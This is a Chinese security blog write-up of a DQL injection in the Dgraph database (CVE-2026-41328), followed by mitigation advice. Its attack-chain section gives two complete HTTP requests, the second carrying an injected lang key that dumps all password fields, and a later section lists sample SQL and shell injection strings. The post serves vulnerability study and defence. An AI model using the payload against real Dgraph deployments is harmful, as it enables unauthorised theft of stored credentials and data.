SRC 挖洞:Dgraph GraphQL 数据库注入深度复盘,CVE-2026-41328 两个请求拖走全库数据

作者 akihi(白帽攻防录讲师),某甲方网络安全工程师,合合 SRC 年度第一、腾讯 SRC 连续三年前十,单漏洞赏金 4w+,擅长 Web/App/PC 客户端漏洞挖掘。专注 GraphQL 安全、数据库注入、NoSQL 安全。本文基于公开 CVE 信息与技术原理深度复盘,供安全研究与防护参考。

一、漏洞时间线

2026 年 4 月,开源分布式 GraphQL 数据库 Dgraph 被曝出一个严重的未授权访问漏洞 CVE-2026-41328。在默认配置下(未启用 ACL),攻击者只需要发送两个 HTTP 请求,就能读取数据库里的所有数据------相当于把整个数据库裸奔在公网上。

时间 事件 影响版本
2026-04-15 相关 Dgraph 漏洞陆续披露 Dgraph 25.3.x 之前
2026-04-24 GHSA-x92x-px7w-4gx4 发布 ------
2026-04-24 NVD 收录 CVE-2026-41328 ------
2026-04-29 安全厂商发布技术分析 ------
修复版本 Dgraph 25.3.3 ------

这个漏洞最可怕的地方在于:利用条件极低------不需要登录,不需要任何凭据,只要数据库端口暴露在公网上,发送两个 POST 请求就能拖走整个数据库。而 Dgraph 的默认配置恰恰就是不启用 ACL 的,很多部署直接用默认配置就上线了。

二、攻击链全景

让我们先用一张流程图还原完整的攻击路径:

复制代码
攻击者发现暴露在公网的 Dgraph 数据库(端口 8080)
        │
        ▼
第一步:确认目标配置
        │  Dgraph 运行在默认配置
        │  没有启用 ACL 认证
        │  /alter 接口可以未授权访问
        │  /mutate 接口也可以未授权访问
        ▼
第二步:发送第一个请求(创建 schema)
        │  POST /alter HTTP/1.1
        │  Content-Type: application/json
        │  {"schema": "email: string @unique @index(exact) @lang ."}
        │  这个请求创建了一个特殊的 predicate:
        │  - @unique 唯一约束
        │  - @index(exact) 精确索引
        │  - @lang 多语言支持
        │  为什么要加 @lang?
        │  因为 @lang 会触发 Lang 字段的解析逻辑
        │  这就是注入点!
        ▼
第三步:发送第二个请求(注入 DQL)
        │  POST /mutate?commitNow=true HTTP/1.1
        │  Content-Type: application/json
        │  {
        │    "set": {
        │      "email@') } } { injection(func: has(password)) { uid password } # ": "test@test.com"
        │    }
        │  }
        │  注意这个 key:
        │  Dgraph 解析这个 key:
        │  - predicate = "email"
        │  - Lang = "') } } { injection(func: has(password)) { uid password } #"
        │  Lang 字段被拼接到 DQL 查询里!
        │  注入成功!
        ▼
第四步:服务器执行注入查询
        │  Dgraph 的 addQueryIfUnique 函数
        │  用 fmt.Sprintf 拼接 DQL 查询
        │  Lang 字段没有做任何转义
        │  拼接出来的查询里
        │  攻击者注入的代码:
        │  - ') } }  闭合 eq() 函数和查询块
        │  - { injection(...) }  新增一个查询块
        │  - #  注释掉后面的模板代码
        ▼
第五步:数据库返回所有数据
        │  注入的查询执行了
        │  func: has(password)
        │  意思是:找到所有有 password 字段的节点
        │  返回 uid 和 password
        │  攻击者拿到了所有用户的密码!
        │  整个数据库的数据都被读走了
        ▼
攻击者成功拖走整个数据库
        │
        ├─ 读取所有用户数据
        ├─ 窃取密码、令牌等敏感信息
        ├─ 完全控制数据库
        └─ 数据泄露影响整个业务

**关键结论:**这个漏洞的本质是"参数拼接成代码"------Lang 字段本来只是个语言标签(比如 "en"、"zh"),但开发者把它直接拼接到 DQL 查询里,没有做任何转义。攻击者把 Lang 字段变成了注入代码,闭合了原来的函数,插入了自己的查询。这就是经典的注入漏洞------外部输入被当成代码执行了。

三、Dgraph 与 GraphQL 原理

3.1 什么是 Dgraph

Dgraph 是一个开源的分布式 GraphQL 数据库:

组件 功能
Dgraph Alpha 主节点,处理查询和变更
Dgraph Zero 集群管理、分片分配
HTTP 端口 8080 REST API 接口
gRPC 端口 9080 RPC 接口
/alter 修改 schema
/mutate 插入/更新数据
/query 查询数据

3.2 什么是 DQL

DQL(Dgraph Query Language)是 Dgraph 的查询语言,基于 GraphQL:

复制代码
// 正常的 DQL 查询
query {
  user(func: eq(name, "Alice")) {
    name
    email
    age
  }
}

// 这个查询的意思是:
// 找到 name 等于 "Alice" 的用户
// 返回他们的 name、email、age

3.3 什么是 Predicate 和 Lang

在 Dgraph 中:

  • Predicate:属性,比如 name、email、password
  • Lang:多语言标签,支持同一个属性有不同语言的值
  • 格式:predicate@lang,比如 name@en、name@zh
  • 解析时按 @ 分割成 predicate 和 lang 两部分

四、漏洞深度分析

4.1 漏洞根因:字符串拼接

根据 OSV 和安全分析,漏洞的根本原因是 addQueryIfUnique 函数用 fmt.Sprintf 拼接 DQL 查询:

复制代码
// 有缺陷的代码(伪代码)
func addQueryIfUnique(predicate string, lang string, value string) string {
    // 用 fmt.Sprintf 拼接查询
    query := fmt.Sprintf(
        "query { var(func: eq(%s, \"%s\")) { uid %s@%s } }",
        predicate, value, predicate, lang,
    )
    return query
}

// 问题在哪里?
// lang 参数直接拼接到查询里
// 没有做任何转义或验证
// 攻击者控制了 lang 参数
// 就能注入任意 DQL 代码

4.2 注入点在哪里

注入点是 JSON mutation 的 key:

复制代码
// 正常的 mutation
{
  "set": {
    "name@en": "Alice"
  }
}

// Dgraph 解析:
// key = "name@en"
// predicate = "name"
// lang = "en"
// value = "Alice"

// 攻击者的注入
// key 里包含注入代码
// Dgraph 按 @ 分割
// predicate = "email"
// lang = 注入的 DQL 代码
// lang 被拼接到查询里
// 注入成功!

4.3 注入 payload 拆解

让我们拆解一下这个注入 payload:

复制代码
// 注入的 lang 值:
// ') } } { injection(func: has(password)) { uid password } #

// 逐部分分析:
// 1. '  ------ 闭合字符串
// 2. )  ------ 闭合 eq() 函数
// 3. }  ------ 闭合第一个查询块
// 4. }  ------ 闭合整个查询
// 5. { injection(func: has(password)) { uid password } }  ------ 新增查询块
// 6. #  ------ 注释掉后面的模板代码

// 服务器解析后变成两个查询:
// 第一个是正常的 unique 检查
// 第二个是攻击者注入的查询
// 第二个查询返回所有有 password 字段的数据

4.4 影响范围

项目 详情
CVE 编号 CVE-2026-41328
漏洞类型 DQL 注入(CWE-943)
影响产品 Dgraph 分布式 GraphQL 数据库
影响版本 25.3.3 之前
利用条件 默认配置(未启用 ACL)
认证要求 无需认证
利用难度 低,两个 HTTP POST 请求
影响 读取整个数据库的所有数据

五、修复方案分析

Dgraph 在 25.3.3 版本中修复了这个问题:

修复项 修复方式
Lang 字段验证 严格验证 Lang 字段格式,只允许合法语言标签
参数化查询 用参数化查询替代字符串拼接
输入转义 对所有用户输入做转义处理

5.1 注入漏洞防护原则

复制代码
// 注入漏洞的根本原因
// 外部输入被当成代码执行

// 防护原则:
// 1. 永远不要拼接 SQL/DQL/Shell 命令
// 2. 用参数化查询
// 3. 对输入做严格验证
// 4. 最小权限原则

// 不好的做法:
// 用 fmt.Sprintf 拼接查询字符串

// 好的做法:
// 用参数化查询,参数和代码分开

5.2 数据库安全最佳实践

复制代码
// 数据库安全检查清单

// 1. 不要把数据库暴露在公网
// 数据库只应该监听内网地址
// 不要直接暴露 8080、9080 端口

// 2. 启用认证和授权
// 不要用默认配置
// 启用 ACL,设置强密码

// 3. 最小权限
// 应用程序用的数据库账号
// 只给必要的权限
// 不要用 root/admin 账号

// 4. 输入验证
// 所有用户输入都要验证
// 不要信任任何客户端输入

// 5. 定期审计
// 检查是否有注入漏洞
// 检查配置是否安全

六、SRC 审计启示录

6.1 GraphQL/NoSQL 安全审计清单

在 SRC 挖洞过程中,针对 GraphQL 和 NoSQL 数据库的审计清单:

# 检查项 检测方法
1 是否有注入漏洞 测试各种特殊字符和语法
2 是否暴露调试接口 访问 /graphql/console、/debug 等
3 是否启用认证 直接访问 API 看要不要登录
4 是否有过度查询 测试深层嵌套查询
5 是否泄露 schema 发送 introspection 查询

6.2 常见注入漏洞类型

复制代码
// 常见的注入漏洞

// 1. SQL 注入
// 关系型数据库
// 经典的 ' OR 1=1--

// 2. NoSQL 注入
// MongoDB、Cassandra 等
// 利用操作符($where、$gt 等)

// 3. GraphQL 注入
// 就是本次漏洞的类型
// 注入查询语言

// 4. 命令注入
// 系统命令
// ; ls -la

// 5. LDAP 注入
// LDAP 查询注入

// 6. XPath 注入
// XML 查询注入

6.3 数据库暴露面分级

暴露级别 情况 风险
严重 数据库直接暴露公网,无认证 任何人都能访问
高 数据库暴露公网,有弱密码 容易被破解
中 内网暴露,未做访问控制 横向移动可达
低 内网访问,有认证和授权 相对安全

七、防护建议

  1. 及时更新:升级 Dgraph 到 25.3.3 以上版本
  2. 启用 ACL:不要用默认配置,启用认证授权
  3. 限制访问:不要把数据库端口暴露在公网
  4. 输入验证:严格验证所有用户输入,特别是 Lang 等特殊字段
  5. 参数化查询:用参数化查询替代字符串拼接
  6. 定期审计:测试各种注入漏洞和配置错误

八、总结

CVE-2026-41328 是一个典型的"注入漏洞"------它提醒我们:只要是把外部输入拼接到代码里,就有注入风险。不管是 SQL、DQL、Shell 命令还是别的什么查询语言,原理都是一样的。在 SRC 挖洞实践中,数据库是高价值目标:一旦拿到数据库权限,整个业务的数据就都泄露了。测试各种特殊格式的输入、探索隐藏的 API 接口,往往能发现默认配置下的严重漏洞。


相关推荐
小小小小钰儿2 小时前
2.2-模型微调
人工智能·深度学习·机器学习·计算机·网络安全·操作系统·编程
在猴站学算法4 小时前
(SQL注入学习)联合查询注入(UNION-Based)
sql·学习·网络安全
Seraphina364 小时前
SQL注入(一)
数据库·经验分享·笔记·sql·网络安全
菩提小狗7 小时前
每日安全情报报告 · 2026-10-02
网络安全·漏洞·cve·安全情报·每日安全
白帽攻防录14 小时前
SRC 挖洞:Roundcube 预认证 SQL 注入深度复盘,CVE-2026-48842 preg_replace 转义绕过怎么打穿邮件系统
网络·数据库·sql·网络安全·sql注入
白帽攻防录21 小时前
SRC 挖洞:WSO2 JWT 算法混淆绕过深度复盘,CVE-2026-5430 不支持的算法怎么变成管理员
网络·算法·安全·网络安全·jwt
学逆向的1 天前
虚拟内存与物理内存
windows·网络安全·api·win32
小小小小钰儿1 天前
2.1-Windows本地部署大模型
人工智能·windows·计算机·网络安全·操作系统·编程
菩提小狗1 天前
每日安全情报报告 · 2026-10-01
网络安全·漏洞·cve·安全情报·每日安全